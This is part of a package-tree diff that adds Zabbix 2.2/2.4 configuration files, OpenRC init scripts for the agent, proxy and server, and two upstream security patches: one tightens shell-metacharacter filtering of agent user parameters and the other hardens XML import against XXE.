+# JavaGateway=
+
+### Option: JavaGatewayPort
+# Port that Zabbix Java gateway listens on.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
+# JavaGatewayPort=10052
+
+### Option: StartJavaPollers
+# Number of pre-forked instances of Java pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartJavaPollers=0
+
+### Option: StartVMwareCollectors
+# Number of pre-forked vmware collector instances.
+#
+# Mandatory: no
+# Range: 0-250
+# Default:
+# StartVMwareCollectors=0
+
+### Option: VMwareFrequency
+# How often Zabbix will connect to VMware service to obtain a new data.
+#
+# Mandatory: no
+# Range: 10-86400
+# Default:
+# VMwareFrequency=60
+
+### Option: VMwareCacheSize
+# Size of VMware cache, in bytes.
+# Shared memory size for storing VMware data.
+# Only used if VMware collectors are started.
+#
+# Mandatory: no
+# Range: 256K-2G
+# Default:
+# VMwareCacheSize=8M
+
+### Option: SNMPTrapperFile
+# Temporary file used for passing data from SNMP trap daemon to the proxy.
+# Must be the same as in zabbix_trap_receiver.pl or SNMPTT configuration file.
+#
+# Mandatory: no
+# Default:
+# SNMPTrapperFile=/tmp/zabbix_traps.tmp
+
+### Option: StartSNMPTrapper
+# If 1, SNMP trapper process is started.
+#
+# Mandatory: no
+# Range: 0-1
+# Default:
+# StartSNMPTrapper=0
+
+### Option: ListenIP
+# List of comma delimited IP addresses that the trapper should listen on.
+# Trapper will listen on all network interfaces if this parameter is missing.
+#
+# Mandatory: no
+# Default:
+# ListenIP=0.0.0.0
+
+### Option: HousekeepingFrequency
+# How often Zabbix will perform housekeeping procedure (in hours).
+# Housekeeping is removing unnecessary information from history, alert, and alarms tables.
+#
+# Mandatory: no
+# Range: 1-24
+# Default:
+# HousekeepingFrequency=1
+
+### Option: CacheSize
+# Size of configuration cache, in bytes.
+# Shared memory size, for storing hosts and items data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# CacheSize=8M
+
+### Option: StartDBSyncers
+# Number of pre-forked instances of DB Syncers
+#
+# Mandatory: no
+# Range: 1-100
+# Default:
+# StartDBSyncers=4
+
+### Option: HistoryCacheSize
+# Size of history cache, in bytes.
+# Shared memory size for storing history data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# HistoryCacheSize=8M
+
+### Option: HistoryTextCacheSize
+# Size of text history cache, in bytes.
+# Shared memory size for storing character, text or log history data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# HistoryTextCacheSize=16M
+
+### Option: Timeout
+# Specifies how long we wait for agent, SNMP device or external check (in seconds).
+#
+# Mandatory: no
+# Range: 1-30
+# Default:
+# Timeout=3
+
+### Option: TrapperTimeout
+# Specifies how many seconds trapper may spend processing new data.
+#
+# Mandatory: no
+# Range: 1-300
+# Default:
+# TrapperTimeout=300
+
+### Option: UnreachablePeriod
+# After how many seconds of unreachability treat a host as unavailable.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnreachablePeriod=45
+
+### Option: UnavailableDelay
+# How often host is checked for availability during the unavailability period, in seconds.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnavailableDelay=60
+
+### Option: UnreachableDelay
+# How often host is checked for availability during the unreachability period, in seconds.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnreachableDelay=15
+
+### Option: ExternalScripts
+# Full path to location of external scripts.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+# ExternalScripts=${datadir}/zabbix/externalscripts
+
+### Option: FpingLocation
+# Location of fping.
+# Make sure that fping binary has root ownership and SUID flag set.
+#
+# Mandatory: no
+# Default:
+# FpingLocation=/usr/sbin/fping
+
+### Option: Fping6Location
+# Location of fping6.
+# Make sure that fping6 binary has root ownership and SUID flag set.
+# Make empty if your fping utility is capable to process IPv6 addresses.
+#
+# Mandatory: no
+# Default:
+# Fping6Location=/usr/sbin/fping6
+
+### Option: SSHKeyLocation
+# Location of public and private keys for SSH checks and actions.
+#
+# Mandatory: no
+# Default:
+# SSHKeyLocation=
+
+### Option: LogSlowQueries
+# How long a database query may take before being logged (in milliseconds).
+# Only works if DebugLevel set to 3 or 4.
+# 0 - don't log slow queries.
+#
+# Mandatory: no
+# Range: 1-3600000
+# Default:
+# LogSlowQueries=0
+
+### Option: TmpDir
+# Temporary directory.
+#
+# Mandatory: no
+# Default:
+# TmpDir=/tmp
+
+### Option: AllowRoot
+# Allow the proxy to run as 'root'. If disabled and the proxy is started by 'root', the proxy
+# will try to switch to user 'zabbix' instead. Has no effect if started under a regular user.
+# 0 - do not allow
+# 1 - allow
+#
+# Mandatory: no
+# Default:
+# AllowRoot=0
+
+### Option: Include
+# You may include individual files or all files in a directory in the configuration file.
+# Installing Zabbix will create include directory in /usr/local/etc, unless modified during the compile time.
+#
+# Mandatory: no
+# Default:
+# Include=
+
+# Include=/usr/local/etc/zabbix_proxy.general.conf
+# Include=/usr/local/etc/zabbix_proxy.conf.d/
+
+####### LOADABLE MODULES #######
+
+### Option: LoadModulePath
+# Full path to location of proxy modules.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+# LoadModulePath=${libdir}/modules
+
+### Option: LoadModule
+# Module to load at proxy startup. Modules are used to extend functionality of the proxy.
+# Format: LoadModule=<module.so>
+# The modules must be located in directory specified by LoadModulePath.
+# It is allowed to include multiple LoadModule parameters.
+#
+# Mandatory: no
+# Default:
+# LoadModule=
diff --git a/net-analyzer/zabbix/files/2.2/zabbix_server.conf b/net-analyzer/zabbix/files/2.2/zabbix_server.conf
new file mode 100644
index 000000000000..caba0190668e
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.2/zabbix_server.conf
@@ -0,0 +1,546 @@
+# This is a configuration file for Zabbix Server process
+# To get more information about Zabbix,
+# visit http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+### Option: NodeID
+# Unique NodeID in distributed setup.
+# 0 - standalone server
+#
+# Mandatory: no
+# Range: 0-999
+# Default:
+# NodeID=0
+
+### Option: ListenPort
+# Listen port for trapper.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
+# ListenPort=10051
+
+### Option: SourceIP
+# Source IP address for outgoing connections.
+#
+# Mandatory: no
+# Default:
+# SourceIP=
+
+### Option: LogFile
+# Name of log file.
+# If not set, syslog is used.
+#
+# Mandatory: no
+# Default:
+# LogFile=
+
+LogFile=/var/log/zabbix/zabbix_server.log
+
+### Option: LogFileSize
+# Maximum size of log file in MB.
+# 0 - disable automatic log rotation.
+#
+# Mandatory: no
+# Range: 0-1024
+# Default:
+LogFileSize=128
+
+### Option: DebugLevel
+# Specifies debug level
+# 0 - no debug
+# 1 - critical information
+# 2 - error information
+# 3 - warnings
+# 4 - for debugging (produces lots of information)
+#
+# Mandatory: no
+# Range: 0-4
+# Default:
+# DebugLevel=3
+
+### Option: PidFile
+# Name of PID file.
+#
+# Mandatory: no
+# Default:
+PidFile=/run/zabbix/zabbix_server.pid
+
+### Option: DBHost
+# Database host name.
+# If set to localhost, socket is used for MySQL.
+# If set to empty string, socket is used for PostgreSQL.
+#
+# Mandatory: no
+# Default:
+# DBHost=localhost
+
+### Option: DBName
+# Database name.
+# For SQLite3 path to database file must be provided. DBUser and DBPassword are ignored.
+#
+# Mandatory: yes
+# Default:
+# DBName=
+
+DBName=zabbix
+
+### Option: DBSchema
+# Schema name. Used for IBM DB2.
+#
+# Mandatory: no
+# Default:
+# DBSchema=
+
+### Option: DBUser
+# Database user. Ignored for SQLite.
+#
+# Mandatory: no
+# Default:
+# DBUser=
+
+DBUser=root
+
+### Option: DBPassword
+# Database password. Ignored for SQLite.
+# Comment this line if no password is used.
+#
+# Mandatory: no
+# Default:
+# DBPassword=
+
+### Option: DBSocket
+# Path to MySQL socket.
+#
+# Mandatory: no
+# Default:
+# DBSocket=/tmp/mysql.sock
+
+### Option: DBPort
+# Database port when not using local socket. Ignored for SQLite.
+#
+# Mandatory: no
+# Range: 1024-65535
+# Default (for MySQL):
+# DBPort=3306
+
+############ ADVANCED PARAMETERS ################
+
+### Option: StartPollers
+# Number of pre-forked instances of pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPollers=5
+
+### Option: StartIPMIPollers
+# Number of pre-forked instances of IPMI pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartIPMIPollers=0
+
+### Option: StartPollersUnreachable
+# Number of pre-forked instances of pollers for unreachable hosts (including IPMI).
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPollersUnreachable=1
+
+### Option: StartTrappers
+# Number of pre-forked instances of trappers.
+# Trappers accept incoming connections from Zabbix sender, active agents, active proxies and child nodes.
+# At least one trapper process must be running to display server availability in the frontend.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartTrappers=5
+
+### Option: StartPingers
+# Number of pre-forked instances of ICMP pingers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartPingers=1
+
+### Option: StartDiscoverers
+# Number of pre-forked instances of discoverers.
+#
+# Mandatory: no
+# Range: 0-250
+# Default:
+# StartDiscoverers=1
+
+### Option: StartHTTPPollers
+# Number of pre-forked instances of HTTP pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartHTTPPollers=1
+
+### Option: StartTimers
+# Number of pre-forked instances of timers.
+# Timers process time-based trigger functions and maintenance periods.
+# Only the first timer process handles the maintenance periods.
+#
+# Mandatory: no
+# Range: 1-1000
+# Default:
+# StartTimers=1
+
+### Option: JavaGateway
+# IP address (or hostname) of Zabbix Java gateway.
+# Only required if Java pollers are started.
+#
+# Mandatory: no
+# Default:
+# JavaGateway=
+
+### Option: JavaGatewayPort
+# Port that Zabbix Java gateway listens on.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
+# JavaGatewayPort=10052
+
+### Option: StartJavaPollers
+# Number of pre-forked instances of Java pollers.
+#
+# Mandatory: no
+# Range: 0-1000
+# Default:
+# StartJavaPollers=0
+
+### Option: StartVMwareCollectors
+# Number of pre-forked vmware collector instances.
+#
+# Mandatory: no
+# Range: 0-250
+# Default:
+# StartVMwareCollectors=0
+
+### Option: VMwareFrequency
+# How often Zabbix will connect to VMware service to obtain a new data.
+#
+# Mandatory: no
+# Range: 10-86400
+# Default:
+# VMwareFrequency=60
+
+### Option: VMwareCacheSize
+# Size of VMware cache, in bytes.
+# Shared memory size for storing VMware data.
+# Only used if VMware collectors are started.
+#
+# Mandatory: no
+# Range: 256K-2G
+# Default:
+# VMwareCacheSize=8M
+
+### Option: SNMPTrapperFile
+# Temporary file used for passing data from SNMP trap daemon to the server.
+# Must be the same as in zabbix_trap_receiver.pl or SNMPTT configuration file.
+#
+# Mandatory: no
+# Default:
+# SNMPTrapperFile=/tmp/zabbix_traps.tmp
+
+### Option: StartSNMPTrapper
+# If 1, SNMP trapper process is started.
+#
+# Mandatory: no
+# Range: 0-1
+# Default:
+# StartSNMPTrapper=0
+
+### Option: ListenIP
+# List of comma delimited IP addresses that the trapper should listen on.
+# Trapper will listen on all network interfaces if this parameter is missing.
+#
+# Mandatory: no
+# Default:
+# ListenIP=0.0.0.0
+
+# ListenIP=127.0.0.1
+
+### Option: HousekeepingFrequency
+# How often Zabbix will perform housekeeping procedure (in hours).
+# Housekeeping is removing unnecessary information from history, alert, and alarms tables.
+#
+# Mandatory: no
+# Range: 1-24
+# Default:
+# HousekeepingFrequency=1
+
+### Option: MaxHousekeeperDelete
+# The table "housekeeper" contains "tasks" for housekeeping procedure in the format:
+# [housekeeperid], [tablename], [field], [value].
+# No more than 'MaxHousekeeperDelete' rows (corresponding to [tablename], [field], [value])
+# will be deleted per one task in one housekeeping cycle.
+# SQLite3 does not use this parameter, deletes all corresponding rows without a limit.
+# If set to 0 then no limit is used at all. In this case you must know what you are doing!
+#
+# Mandatory: no
+# Range: 0-1000000
+# Default:
+# MaxHousekeeperDelete=500
+
+### Option: SenderFrequency
+# How often Zabbix will try to send unsent alerts (in seconds).
+#
+# Mandatory: no
+# Range: 5-3600
+# Default:
+# SenderFrequency=30
+
+### Option: CacheSize
+# Size of configuration cache, in bytes.
+# Shared memory size for storing host, item and trigger data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# CacheSize=8M
+
+### Option: CacheUpdateFrequency
+# How often Zabbix will perform update of configuration cache, in seconds.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# CacheUpdateFrequency=60
+
+### Option: StartDBSyncers
+# Number of pre-forked instances of DB Syncers
+#
+# Mandatory: no
+# Range: 1-100
+# Default:
+# StartDBSyncers=4
+
+### Option: HistoryCacheSize
+# Size of history cache, in bytes.
+# Shared memory size for storing history data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# HistoryCacheSize=8M
+
+### Option: TrendCacheSize
+# Size of trend cache, in bytes.
+# Shared memory size for storing trends data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# TrendCacheSize=4M
+
+### Option: HistoryTextCacheSize
+# Size of text history cache, in bytes.
+# Shared memory size for storing character, text or log history data.
+#
+# Mandatory: no
+# Range: 128K-2G
+# Default:
+# HistoryTextCacheSize=16M
+
+### Option: ValueCacheSize
+# Size of history value cache, in bytes.
+# Shared memory size for caching item history data requests
+# Setting to 0 disables value cache.
+#
+# Mandatory: no
+# Range: 0,128K-64G
+# Default:
+# ValueCacheSize=8M
+
+### Option: NodeNoEvents
+# If set to '1' local events won't be sent to master node.
+# This won't impact ability of this node to propagate events from its child nodes.
+#
+# Mandatory: no
+# Range: 0-1
+# Default:
+# NodeNoEvents=0
+
+### Option: NodeNoHistory
+# If set to '1' local history won't be sent to master node.
+# This won't impact ability of this node to propagate history from its child nodes.
+#
+# Mandatory: no
+# Range: 0-1
+# Default:
+# NodeNoHistory=0
+
+### Option: Timeout
+# Specifies how long we wait for agent, SNMP device or external check (in seconds).
+#
+# Mandatory: no
+# Range: 1-30
+# Default:
+# Timeout=3
+
+### Option: TrapperTimeout
+# Specifies how many seconds trapper may spend processing new data.
+#
+# Mandatory: no
+# Range: 1-300
+# Default:
+# TrapperTimeout=300
+
+### Option: UnreachablePeriod
+# After how many seconds of unreachability treat a host as unavailable.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnreachablePeriod=45
+
+### Option: UnavailableDelay
+# How often host is checked for availability during the unavailability period, in seconds.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnavailableDelay=60
+
+### Option: UnreachableDelay
+# How often host is checked for availability during the unreachability period, in seconds.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# UnreachableDelay=15
+
+### Option: AlertScriptsPath
+# Full path to location of custom alert scripts.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+AlertScriptsPath=/var/lib/zabbix/alertscripts
+
+### Option: ExternalScripts
+# Full path to location of external scripts.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+ExternalScripts=/var/lib/zabbix/externalscripts
+
+### Option: FpingLocation
+# Location of fping.
+# Make sure that fping binary has root ownership and SUID flag set.
+#
+# Mandatory: no
+# Default:
+# FpingLocation=/usr/sbin/fping
+
+### Option: Fping6Location
+# Location of fping6.
+# Make sure that fping6 binary has root ownership and SUID flag set.
+# Make empty if your fping utility is capable to process IPv6 addresses.
+#
+# Mandatory: no
+# Default:
+# Fping6Location=/usr/sbin/fping6
+
+### Option: SSHKeyLocation
+# Location of public and private keys for SSH checks and actions.
+#
+# Mandatory: no
+# Default:
+# SSHKeyLocation=
+
+### Option: LogSlowQueries
+# How long a database query may take before being logged (in milliseconds).
+# Only works if DebugLevel set to 3 or 4.
+# 0 - don't log slow queries.
+#
+# Mandatory: no
+# Range: 1-3600000
+# Default:
+# LogSlowQueries=0
+
+### Option: TmpDir
+# Temporary directory.
+#
+# Mandatory: no
+# Default:
+# TmpDir=/tmp
+
+### Option: StartProxyPollers
+# Number of pre-forked instances of pollers for passive proxies.
+#
+# Mandatory: no
+# Range: 0-250
+# Default:
+# StartProxyPollers=1
+
+### Option: ProxyConfigFrequency
+# How often Zabbix Server sends configuration data to a Zabbix Proxy in seconds.
+# This parameter is used only for proxies in the passive mode.
+#
+# Mandatory: no
+# Range: 1-3600*24*7
+# Default:
+# ProxyConfigFrequency=3600
+
+### Option: ProxyDataFrequency
+# How often Zabbix Server requests history data from a Zabbix Proxy in seconds.
+# This parameter is used only for proxies in the passive mode.
+#
+# Mandatory: no
+# Range: 1-3600
+# Default:
+# ProxyDataFrequency=1
+
+### Option: AllowRoot
+# Allow the server to run as 'root'. If disabled and the server is started by 'root', the server
+# will try to switch to user 'zabbix' instead. Has no effect if started under a regular user.
+# 0 - do not allow
+# 1 - allow
+#
+# Mandatory: no
+# Default:
+# AllowRoot=0
+
+### Option: Include
+# You may include individual files or all files in a directory in the configuration file.
+# Installing Zabbix will create include directory in /usr/local/etc, unless modified during the compile time.
+#
+# Mandatory: no
+# Default:
+# Include=
+
+# Include=/usr/local/etc/zabbix_server.general.conf
+#Include=/etc/zabbix/zabbix_server.conf.d/
+
+####### LOADABLE MODULES #######
+
+### Option: LoadModulePath
+# Full path to location of server modules.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+# LoadModulePath=${libdir}/modules
+
+### Option: LoadModule
+# Module to load at server startup. Modules are used to extend functionality of the server.
+# Format: LoadModule=<module.so>
+# The modules must be located in directory specified by LoadModulePath.
+# It is allowed to include multiple LoadModule parameters.
+#
+# Mandatory: no
+# Default:
+# LoadModule=
diff --git a/net-analyzer/zabbix/files/2.4/init.d/zabbix-agentd b/net-analyzer/zabbix/files/2.4/init.d/zabbix-agentd
new file mode 100644
index 000000000000..a9c5e4d112c9
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.4/init.d/zabbix-agentd
@@ -0,0 +1,29 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+pid_file="/run/zabbix/zabbix_agentd.pid"
+
+depend() {
+ need net
+ provide zabbix-agent
+ use zabbix-server
+}
+
+start_pre() {
+ checkpath -d -m 0775 -o zabbix:zabbix /run/zabbix
+}
+
+start() {
+ ebegin "Starting Zabbix agent"
+ start-stop-daemon --start --pidfile ${pid_file} \
+ --user zabbix --group zabbix --exec /usr/sbin/zabbix_agentd -- -c /etc/zabbix/zabbix_agentd.conf
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix agent"
+ start-stop-daemon --stop --pidfile ${pid_file}
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/2.4/init.d/zabbix-proxy b/net-analyzer/zabbix/files/2.4/init.d/zabbix-proxy
new file mode 100644
index 000000000000..b05dd5726d01
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.4/init.d/zabbix-proxy
@@ -0,0 +1,28 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+pid_file="/run/zabbix/zabbix_proxy.pid"
+
+depend() {
+ need net
+ provide zabbix-proxy
+}
+
+start_pre() {
+ checkpath -d -m 0775 -o zabbix:zabbix /run/zabbix
+}
+
+start() {
+ ebegin "Starting Zabbix proxy"
+ start-stop-daemon --start --pidfile ${pid_file} \
+ --user zabbix --group zabbix --exec /usr/sbin/zabbix_proxy -- -c /etc/zabbix/zabbix_proxy.conf
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix proxy"
+ start-stop-daemon --stop --pidfile ${pid_file}
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/2.4/init.d/zabbix-server b/net-analyzer/zabbix/files/2.4/init.d/zabbix-server
new file mode 100644
index 000000000000..68fe9045ab25
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.4/init.d/zabbix-server
@@ -0,0 +1,27 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+pid_file="/run/zabbix/zabbix_server.pid"
+
+depend() {
+ need net
+ use mysql postgresql
+}
+start_pre() {
+ checkpath -d -m 0775 -o zabbix:zabbix /run/zabbix
+}
+
+start() {
+ ebegin "Starting Zabbix server"
+ start-stop-daemon --start --user zabbix --group zabbix --pidfile ${pid_file} \
+ --exec /usr/sbin/zabbix_server -- -c /etc/zabbix/zabbix_server.conf
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping Zabbix server"
+ start-stop-daemon --stop --pidfile ${pid_file}
+ eend $?
+}
diff --git a/net-analyzer/zabbix/files/2.4/patches/zbx7479.patch b/net-analyzer/zabbix/files/2.4/patches/zbx7479.patch
new file mode 100644
index 000000000000..79bb92f4bae0
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.4/patches/zbx7479.patch
@@ -0,0 +1,83 @@
+Index: src/libs/zbxsysinfo/sysinfo.c
+===================================================================
+--- src/libs/zbxsysinfo/sysinfo.c (revision 40348)
++++ src/libs/zbxsysinfo/sysinfo.c (working copy)
+@@ -427,13 +427,49 @@
+ test_aliases();
+ }
+
++static int zbx_check_user_parameter(const char *param, char *error, int max_error_len)
++{
++ const char suppressed_chars[] = "\\'\"`*?[]{}~$!&;()<>|#@\n", *c;
++ char *buf = NULL;
++ size_t buf_alloc = 128, buf_offset = 0;
++
++ if (0 != CONFIG_UNSAFE_USER_PARAMETERS)
++ return SUCCEED;
++
++ for (c = suppressed_chars; '\0' != *c; c++)
++ {
++ if (NULL == strchr(param, *c))
++ continue;
++
++ buf = zbx_malloc(buf, buf_alloc);
++
++ for (c = suppressed_chars; '\0' != *c; c++)
++ {
++ if (c != suppressed_chars)
++ zbx_strcpy_alloc(&buf, &buf_alloc, &buf_offset, ", ");
++
++ if (0 != isprint(*c))
++ zbx_chrcpy_alloc(&buf, &buf_alloc, &buf_offset, *c);
++ else
++ zbx_snprintf_alloc(&buf, &buf_alloc, &buf_offset, "0x%02x", *c);
++ }
++
++ zbx_snprintf(error, max_error_len, "special characters \"%s\" are not allowed in the parameters", buf);
++
++ zbx_free(buf);
++
++ return FAIL;
++ }
++
++ return SUCCEED;
++}
++
+ static int replace_param(const char *cmd, const char *param, char *out, int outlen, char *error, int max_error_len)
+ {
+ int ret = SUCCEED;
+ char buf[MAX_STRING_LEN];
+ char command[MAX_STRING_LEN];
+ char *pl, *pr;
+- const char suppressed_chars[] = "\\'\"`*?[]{}~$!&;()<>|#@", *c;
+
+ assert(out);
+
+@@ -465,25 +501,10 @@
+ {
+ get_param(param, (int)(pr[1] - '0'), buf, sizeof(buf));
+
+- if (0 == CONFIG_UNSAFE_USER_PARAMETERS)
+- {
+- for (c = suppressed_chars; '\0' != *c; c++)
+- {
+- if (NULL != strchr(buf, *c))
+- {
+- zbx_snprintf(error, max_error_len, "Special characters '%s'"
+- " are not allowed in the parameters",
+- suppressed_chars);
+- ret = FAIL;
+- break;
+- }
+- }
+- }
++ if (SUCCEED != (ret = zbx_check_user_parameter(buf, error, max_error_len)))
++ break;
+ }
+
+- if (FAIL == ret)
+- break;
+-
+ zbx_strlcat(out, buf, outlen);
+ outlen -= MIN((int)strlen(buf), (int)outlen);
+
diff --git a/net-analyzer/zabbix/files/2.4/patches/zbx8151.patch b/net-analyzer/zabbix/files/2.4/patches/zbx8151.patch
new file mode 100644
index 000000000000..076e10ab75a4
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.4/patches/zbx8151.patch
@@ -0,0 +1,53 @@
+Index: frontends/php/include/defines.inc.php
+===================================================================
+--- frontends/php/include/defines.inc.php (revision 46596)
++++ frontends/php/include/defines.inc.php (revision 46655)
+@@ -835,6 +835,14 @@
+
+ define('ZBX_DEFAULT_IMPORT_HOST_GROUP', 'Imported hosts');
+
++// XML import flags
++// See ZBX-8151. Old version of libxml suffered from setting DTDLOAD and NOENT flags by default, which allowed
++// performing XXE attacks. Calling libxml_disable_entity_loader(true) also had no affect if flags passed to libxml
++// calls were 0 - so for better security with legacy libxml we need to call libxml_disable_entity_loader(true) AND
++// pass the LIBXML_NONET flag. Please keep in mind that LIBXML_NOENT actually EXPANDS entities, opposite to it's name -
++// so this flag is not needed here.
++define('LIBXML_IMPORT_FLAGS', LIBXML_NONET);
++
+ // API errors
+ define('ZBX_API_ERROR_INTERNAL', 111);
+ define('ZBX_API_ERROR_PARAMETERS', 100);
+Index: frontends/php/include/classes/import/readers/CXmlImportReader.php
+===================================================================
+--- frontends/php/include/classes/import/readers/CXmlImportReader.php (revision 46596)
++++ frontends/php/include/classes/import/readers/CXmlImportReader.php (revision 46655)
+@@ -32,7 +32,8 @@
+ */
+ public function read($string) {
+ libxml_use_internal_errors(true);
+- $result = simplexml_load_string($string);
++ libxml_disable_entity_loader(true);
++ $result = simplexml_load_string($string, null, LIBXML_IMPORT_FLAGS);
+ if (!$result) {
+ $errors = libxml_get_errors();
+ libxml_clear_errors();
+Index: frontends/php/include/classes/import/CXmlImport18.php
+===================================================================
+--- frontends/php/include/classes/import/CXmlImport18.php (revision 46596)
++++ frontends/php/include/classes/import/CXmlImport18.php (revision 46655)
+@@ -390,12 +390,13 @@
+ return $array;
+ }
+
+- public static function import($file) {
++ public static function import($source) {
+
+ libxml_use_internal_errors(true);
++ libxml_disable_entity_loader(true);
+
+ $xml = new DOMDocument();
+- if (!$xml->loadXML($file)) {
++ if (!$xml->loadXML($source, LIBXML_IMPORT_FLAGS)) {
+ $text = '';
+ foreach (libxml_get_errors() as $error) {
+ switch ($error->level) {
diff --git a/net-analyzer/zabbix/files/2.4/zabbix_agent.conf b/net-analyzer/zabbix/files/2.4/zabbix_agent.conf
new file mode 100644
index 000000000000..dcb4b7248c2e
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.4/zabbix_agent.conf
@@ -0,0 +1,81 @@
+# This is a config file for Zabbix internet service daemon agent
+# To get more information about Zabbix visit http://www.zabbix.com
+
+### Option: Server
+# IP address of Zabbix server
+# Connections from other hosts will be denied
+# If IPv6 support is enabled then '127.0.0.1', '::127.0.0.1', '::ffff:127.0.0.1' are treated equally.
+#
+# Mandatory: yes
+# Default:
+# Server=
+
+Server=127.0.0.1
+
+############ ADVANCED PARAMETERS #################
+
+### Option: Alias
+# Sets an alias for parameter. It can be useful to substitute long and complex parameter name with a smaller and simpler one.
+#
+# Mandatory: no
+# Range:
+# Default:
+
+### Option: Timeout
+# Spend no more than Timeout seconds on processing
+#
+# Mandatory: no
+# Range: 1-30
+# Default:
+# Timeout=3
+
+### Option: Include
+# You may include individual files or all files in a directory in the configuration file.
+# Installing Zabbix will create include directory in /usr/local/etc, unless modified during the compile time.
+#
+# Mandatory: no
+# Default:
+# Include=
+
+# Include=/usr/local/etc/zabbix_agent.userparams.conf
+# Include=/usr/local/etc/zabbix_agent.conf.d/
+
+####### USER-DEFINED MONITORED PARAMETERS #######
+
+### Option: UnsafeUserParameters
+# Allow all characters to be passed in arguments to user-defined parameters.
+# 0 - do not allow
+# 1 - allow
+#
+# Mandatory: no
+# Default:
+# UnsafeUserParameters=0
+
+### Option: UserParameter
+# User-defined parameter to monitor. There can be several user-defined parameters.
+# Format: UserParameter=<key>,<shell command>
+# See 'zabbix_agentd' directory for examples.
+#
+# Mandatory: no
+# Default:
+# UserParameter=
+
+####### LOADABLE MODULES #######
+
+### Option: LoadModulePath
+# Full path to location of agent modules.
+# Default depends on compilation options.
+#
+# Mandatory: no
+# Default:
+# LoadModulePath=${libdir}/modules
+
+### Option: LoadModule
+# Module to load at agent startup. Modules are used to extend functionality of the agent.
+# Format: LoadModule=<module.so>
+# The modules must be located in directory specified by LoadModulePath.
+# It is allowed to include multiple LoadModule parameters.
+#
+# Mandatory: no
+# Default:
+# LoadModule=
diff --git a/net-analyzer/zabbix/files/2.4/zabbix_agentd.conf b/net-analyzer/zabbix/files/2.4/zabbix_agentd.conf
new file mode 100644
index 000000000000..4d49d3685e81
--- /dev/null
+++ b/net-analyzer/zabbix/files/2.4/zabbix_agentd.conf
@@ -0,0 +1,278 @@
+# This is a config file for the Zabbix agent daemon (Unix)
+# To get more information about Zabbix, visit http://www.zabbix.com
+
+############ GENERAL PARAMETERS #################
+
+### Option: PidFile
+# Name of PID file.
+#
+# Mandatory: no
+# Default:
+PidFile=/run/zabbix/zabbix_agentd.pid
+
+### Option: LogFile
+# Name of log file.
+# If not set, syslog is used.
+#
+# Mandatory: no
+# Default:
+# LogFile=
+
+LogFile=/var/log/zabbix/zabbix_agentd.log
+
+### Option: LogFileSize
+# Maximum size of log file in MB.
+# 0 - disable automatic log rotation.
+#
+# Mandatory: no
+# Range: 0-1024
+# Default:
+LogFileSize=128
+
+### Option: DebugLevel
+# Specifies debug level
+# 0 - no debug
+# 1 - critical information
+# 2 - error information
+# 3 - warnings
+# 4 - for debugging (produces lots of information)
+#
+# Mandatory: no
+# Range: 0-4
+# Default:
+# DebugLevel=3
+
+### Option: SourceIP
+# Source IP address for outgoing connections.
+#
+# Mandatory: no
+# Default:
+# SourceIP=
+
+### Option: EnableRemoteCommands
+# Whether remote commands from Zabbix server are allowed.
+# 0 - not allowed
+# 1 - allowed
+#
+# Mandatory: no
+# Default:
+# EnableRemoteCommands=0
+
+### Option: LogRemoteCommands
+# Enable logging of executed shell commands as warnings.
+# 0 - disabled
+# 1 - enabled
+#
+# Mandatory: no
+# Default:
+# LogRemoteCommands=0
+
+##### Passive checks related
+
+### Option: Server
+# List of comma delimited IP addresses (or hostnames) of Zabbix servers.
+# Incoming connections will be accepted only from the hosts listed here.
+# If IPv6 support is enabled then '127.0.0.1', '::127.0.0.1', '::ffff:127.0.0.1' are treated equally.
+#
+# Mandatory: no
+# Default:
+# Server=
+
+Server=127.0.0.1
+
+### Option: ListenPort
+# Agent will listen on this port for connections from the server.
+#
+# Mandatory: no
+# Range: 1024-32767
+# Default:
